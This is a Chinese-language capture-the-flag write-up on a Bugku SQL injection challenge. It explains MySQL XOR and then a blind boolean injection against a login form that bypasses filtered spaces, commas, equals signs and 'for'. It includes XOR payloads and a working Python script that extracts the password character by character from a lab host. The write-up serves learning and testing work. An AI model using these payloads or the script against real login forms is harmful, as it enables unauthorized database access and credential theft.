异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假
两个同为假的条件做异或,结果为假
一个条件为真,一个条件为假,结果为真
null与任何条件(真、假、null)做异或,结果都为null
xor与^区别
^运算符会做位异或运算 如1^2=3
bugku sql注入实战
输入admin test
显示username does not exist!
输入test admin显示password error
这就说明存在admin这个用户,输入and显示是非法字符,有过滤
fuzz一下发现过滤了常用字符过滤了and,空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
输入
password=fdsfdgf&username=admin'^0^0%23
password=fdsfdgf&username=admin'^1%23
两种不同的结果,这是因为username后面的内容首先要和^后面的内容进行异或,报错的语句是因为抑或以后username变为0数据库查找不到相关的信息,产生错误,也就是括号里得到内容如果为真则会产生错误,为假则会正常运行。
猜测后台的语句
select password,username from users where username=”用户名”
上面的两个语句就变成了
select password,username from users where username='admin'^0 //真,返回password error
select password,username from users where username='admin'^1 //假,不存在此用户
python脚本如下:
import requests
url = 'http://114.67.246.176:15855/index.php'
r = requests.Session()
result = ''
for i in range(1,33):
for j in range(37,127):
payload = "admin'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print(payload)
data = {"username":payload,"password":"asd"}
html = r.post(url,data=data)
if "password error!" in html.text:
result += chr(j)
print(result)
break
print(result)
解释一下payload:
“admin’^(ascii(mid((password)from({0})))>{1})#”
1.为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。
2.mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
3.每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0
返回值是username does not exist!
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
返回值会是password error!
这就构成了布尔报错注入。
4. 最后^0的妙用! 因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。 因为这里即使是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也无法知道。